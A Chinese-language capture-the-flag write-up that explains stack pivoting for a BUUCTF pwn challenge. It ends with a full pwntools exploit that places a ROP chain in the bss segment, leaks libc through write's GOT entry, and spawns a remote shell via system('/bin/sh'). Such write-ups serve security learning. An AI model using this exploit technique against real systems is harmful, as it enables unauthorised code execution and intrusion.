常规检查下来,发现可以进行栈溢出,但是允许操作的空间只有8个字节…
看下ida伪代码
可操作空间很小,只能覆盖到eip,正常思路是:泄露write的got表地址,然后通过libcsearch找出system和bin/sh的地址,再次构造栈溢出攻击。此题目栈溢出只能操作8字节,一般思路行不通。此时就用到另一个概念:栈迁移!!!
栈迁移的关键点在于esp,能把esp重新指向另外一块内存空间,即可成功。这题的另一块内存空间就是bss段。
利用到栈迁移,我们需要在原本栈的eip位置覆盖成 leave;ret这样的汇编代码。
原理:leave=>mov esp ebp;pop ebp,ebp我们覆盖成bss段地址,那么mov后esp就指向了bss段地址。ret=>pop eip;call eip,ret就是执行咯,此处有个关键点在于,指向的目标地址,要是该地址-4字节。为啥呢:mov esp ebp后执行了pop ebp,此时esp会+4,下一句ret 执行的是esp+4的地址,在这边相当于bss+4,所以传入的目标地址要是bss-4。
exp大法附上
#coding=utf8
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
# sh = process('./spwn')
sh = remote('node3.buuoj.cn', 27253)
elf = ELF('./spwn')
func_addr = 0x0804849B
main_addr = elf.symbols['main']
leave_ret_addr = 0x08048408 # ROPgadget --binary rop --only "leave|ret"
bss_addr = 0x0804A300
# 在read的bss端读入rop链
payload = p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['write']) + p32(4)
sh.sendafter('name?', payload)
# 栈迁移原理:ebp覆盖成目标内存地址,leave;ret=>mov esp ebp;pop ebp;pop eip;call eip;
# esp指向bss段,这就是栈迁移
payload = 0x18 * 'a' + p32(bss_addr-4) + p32(leave_ret_addr)
sh.sendafter('say?', payload)
write_addr = u32(sh.recv(4))
print(hex(write_addr))
# 一定要用LibcSearcher
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print('system[%s],binsh[%s]' % (hex(system_addr), hex(binsh_addr)))
payload = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
sh.sendafter('name?', payload)
payload = 0x18 * 'a' + p32(bss_addr-4) + p32(leave_ret_addr)
sh.sendafter('say?', payload)
sh.interactive()